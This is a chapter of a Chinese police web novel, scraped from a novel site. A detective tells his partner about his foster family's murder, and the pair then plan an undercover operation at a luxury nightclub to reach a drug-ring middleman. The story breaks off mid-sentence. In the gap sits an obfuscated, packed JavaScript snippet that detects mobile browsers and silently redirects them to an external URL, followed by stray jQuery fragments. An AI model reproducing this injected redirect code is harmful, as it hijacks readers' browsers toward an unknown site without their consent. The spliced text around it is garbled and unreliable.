文趣网 > 都市小说 > 途舛 [刑侦] > 83. 等待进入网审
    夜半更深,不知过了多久,沂琛缓缓睁开了眼,眼底没有睡意,一片清明。他轻轻翻过身,动作极轻,生怕惊扰身旁熟睡的人。

    昏黑的夜色里,借着窗外透进来的淡淡月光,能清晰看见安景舟熟睡的侧脸。

    沂琛目光静静落着,看了他许久,最后克制不住抬起指尖,缓缓拂过他脸上洁白的纱布。

    就在指腹堪堪蹭过纱布边缘的瞬间,原本熟睡的人,睫毛轻轻一颤,嗓音带着刚醒的沙哑,慵懒带着刚醒的沙哑慵懒:“睡不着?”

    沂琛指尖一顿,没有收回,轻声应:“嗯。”

    安景舟这才慢悠悠掀开眼皮,往他身边贴近,习惯性地蹭了蹭:“怎么不睡?都大半夜了还在胡思乱想?”

    沂琛垂眸看着他:“你不想知道吗?”

    安景舟没问是什么,手臂一收,将身侧的人揽紧了些,他闭着眼:“不想。”

    “是关于我和他的事。”

    安景舟眼睛睁开,他稍稍松开手臂低头看向沂琛的脸。

    沂琛错开他的视线,望向漆黑的窗玻璃。

    “他叫习郁,我小的时候见过他几面,不过并不认识。我父母死得早,十岁那年我就孤身一个人跑到了江都,十一岁那年,我遇见了我的养父母一家。”沂琛的语气微微柔和了一瞬,眼底掠过一丝极淡的暖意,是黑暗回忆里唯一的光。

    “他们对我很好,是真的掏心掏肺的好,家里还有一个哥哥,大我一岁,每天带着我上学放学,我很喜欢他们,那段时间是我这辈子最快乐的日子,是我唯一拥有过的家。”

    “但这段日子仅仅只有一年而已,一夜之间仇家寻上门,他们一家人被灭门了。当时吴忧将我藏在了地板里,自己跑了出去,那些人并不知道我的存在,我也就这么阴差阳错逃过了一劫。”

    “这么多年,我从来不敢回想那天的画面,我拼命读书,一路考上警校,才有能力偷偷调查当年的事情,查了很多年,直到几年前我才知道是是习郁的父亲一手主导的。”

    安景舟听得心口发酸,收紧手臂重新将沂琛揽进怀里,掌心贴着他的后背一下一下轻拍着:“当年的事,从头到尾都不是你的错,你只是个十一岁的孩子,你没有任何错,收留你的一家人善良赤诚,更没有错。错的是那群作恶的人,是仗着势力肆意行凶的恶人。”

    安景舟微微松开一点,低头认真看着沂琛晦暗的眉眼:“你的养父母、你的哥哥当初拼了命护着你,不是让你往后余生日日自责的,他们是想让你好好活下来,好好活着走出黑暗。”

    沂琛眼眶微热,别开的视线微微发颤,喉咙紧紧堵着,说不出一句话。这么多年没人跟他说过这些,没人知道他夜里被旧回忆困住多久。

    安景舟看着他这副模样,心疼得不行,伸手捏住他微凉的手腕,十指轻轻扣住:“能走到今天,站在光里抓黑暗,这就是他们最想看到的结果。你的过往我接住了,你的心结我陪你解,你的仇我陪你报,你不要再一个人硬撑了,沂琛。”

    沂琛埋在安景舟温热的胸膛,听着他平稳有力的心跳,积压多年的酸涩终于悄悄散去。他颔首闷声应了一句:“好。”

    “别再胡思乱想了。”安景舟轻声哄着他,“今晚好好睡,明天天亮我们一块去市局。”

    办公区人来人往,陶玙原本正低头整理案件笔录,余光无意间瞥见两道熟悉的身影并肩走进来。

    安景舟半点没有往日这两天的别扭,大大咧咧跟在沂琛身侧,时不时侧头凑过去低声说几句话,眉眼间的鲜活痞气尽数回归;而一旁的沂琛依旧是清冷的模样,低头听着身边人的贫嘴碎念,没有多余的话语。

    直到两人一前一后走进支队长办公室,陶玙才收回目光,立刻侧身凑到身旁刘雯到耳边:“这是和好了?”

    “我看是。”刘雯忍不住勾唇轻笑,笃定地点头回应,“以前安队恨不得时时刻刻黏在一起,上个水能顺路绕三分钟闲话,这两天跟陌生人一样,气氛冷得我们都不敢随便搭话。”

    办公室内,安景舟走到办公桌前坐下,点开电脑里堆叠的监控备份文件,抬眼看向是站在身侧的沂琛,开口正色道:“山随那个案子昨天又调了一批监控过来。”

    沂琛俯身看一下电脑屏幕:“有新发现?”

    “有。”安景舟点头,调出几份刚刚复原的模糊影像,“之前技术组只优先筛了案发当夜的夜总会监控,漏掉了他死前三天的城中心动线,我让连夜复原了商圈死角监控有意外收获。”

    画面一点点加载出来,镜头里是城中心顶级商圈后街,灯火璀璨、酒吧林立,深夜依旧车流不息,随处可见高端消费人群,热闹喧嚣。

    最危险的交易往往藏在最繁华的眼皮底下。

    “死前山随频繁出入这片商圈。”安景舟指尖点在画面一角,“他来这从不参与玩乐,每次都是单独行动,定点停在这家高端私调静吧的后门过道。”

    这条后街四通八达,前后都是商铺与人流,监控密集,寻常黑恶势力根本不敢在此密会,敢选择这种闹市中心做私下对接,足够证明对方根本不怕被查。

    “有一种可能,山随大概率从头到尾都没有见过习郁,他只是买手而已。”安景舟道,“这种顶层灰色圈层规矩极死,庄家永远藏在最深,山随可能只对接中介手。”

    沂琛瞬间懂了他的意思:“山随虽然死了,但他手里长期对接的高端熟客买手还在。”

    安景舟抬眼看向沂琛:“我们这次不用线人搭线,我们直接自己当买家。”

    沂琛眸色微沉:“你的意思是混进熟客局,以新晋大客户的身份重新激活断掉的线索,逼对方重新露面对接?”

    “对。”安景舟站起身,“我们装作急需私调货的陌生大佬,通过残留买手圈传递暗号,只要卖家动,我们就能顺着他摸到习郁。”

    话虽敲定,想要触及这片灰色圈层绝非易事,习郁做事极严,散客早已被尽数清洗,普通线人连圈层边缘都触碰不到,更别说递入有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804665|210556||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    效消息。

    警方耗时多方摸排求证,终于有了松动,一个求着减刑的线人冒着极大风险,从圈层边角扒出了唯一上层的中层对接口子。

    山随死后整条交易链被迫短暂蛰伏,但/毒/贩/为了保住长期盈利的客源,并未彻底关停渠道,而是留下了一名中间人守在入口,负责承接私活向上传话。

    此人不知晓真名,只留一个代号——老鹞。

    老鹞是山随生前的客源对接手,他的活动常年盘踞在城中心商圈后街。

    线人传回消息,山随出事之后,老鹞隐匿了几天,最近才悄悄重新露头,守在老位置,等待新的大额客源激活链路。他疑心极重,只对接熟客,生人靠近一律无视,绝不给任何人二次接触的机会。

    而这人也是目前警方唯一的突破口,唯有些接近老鹞才能触碰到习郁。

    夜色浸透整座城市,市中心顶级商圈灯火璀璨,沿街奢侈品门店霓虹长明,豪车往来不息,前后街上挤满了衣着矜贵的夜游人群。

    按住停靠的民用SUV车里,陶玙扒着车窗,目光不停扫过街口来往车流,心里一阵阵犯嘀咕:“老大呢?不是说好就位之后他就过来?”

    刘雯盯着平板,指尖飞快划过:“说一会就过来了,不,是马上到!”

    说罢街口一台劳斯莱斯Boattail沉哑的引擎声缓缓驶入,哑光曜石黑车身在斑驳霓虹下泛着低沉华贵的光泽,全球仅存三台,早已停产绝迹,国内就仅此一台。低缓的引擎声并不喧闹,却自带一股压过全场的气场,街上不少路人闻声纷纷转头望过来。

    陶玙眼睛猛地睁大,整个人差点贴到车窗玻璃上,倒吸一口凉气:“我去……这、这台是?咱们老大的私车?!”

    车子停在后街路边,自动车门无声向上掀开,一截线条笔直修长的长腿踏出,黑色手工高定西裤没有一丝褶皱,安景舟躬身下车,一身剪裁完美的黑色西装衬的宽肩窄腰,身姿挺拔逼人,鼻梁架着一副漆黑窄边墨镜。

    路人频频侧目,无人不被这极致的气场震撼,安景舟没有丝毫停留,步履从容,径直走向后街最顶级的私人夜总会。

    鎏金大门开合之间,奢靡的光影与喧嚣音乐倾泻而出,这里是整片灰色最核心的私密聚集地,也是老鹞常年盘踞的据点。

    推门而入,暧昧迷离的霓虹裹着酒水香气扑面而来,大厅卡座错落,人生沸鼎,视野最开阔的顶楼观景卡座里,一道瘦高身影慵懒靠着沙发。

    老鹞半敞着黑色衬衫袖口,直接捏着一杯琥珀色威士忌,自带松弛又潇洒,漫不经心晃着杯中之酒。

    安景舟穿过喧闹人群,目标明确,直直朝着顶楼卡座走去。

    与此同时,夜总会门外监控车里,厚重车窗隔绝了闹事杂音,陶玙还没从刚才的视觉冲击力缓过来:“我真的靠北了,都富得流油了,还天天跟我们吐槽外卖太贵,要凑单满减,跟我们抠那几十块钱外卖钱!这什么人间真实豪门体验生活!太没天理了!”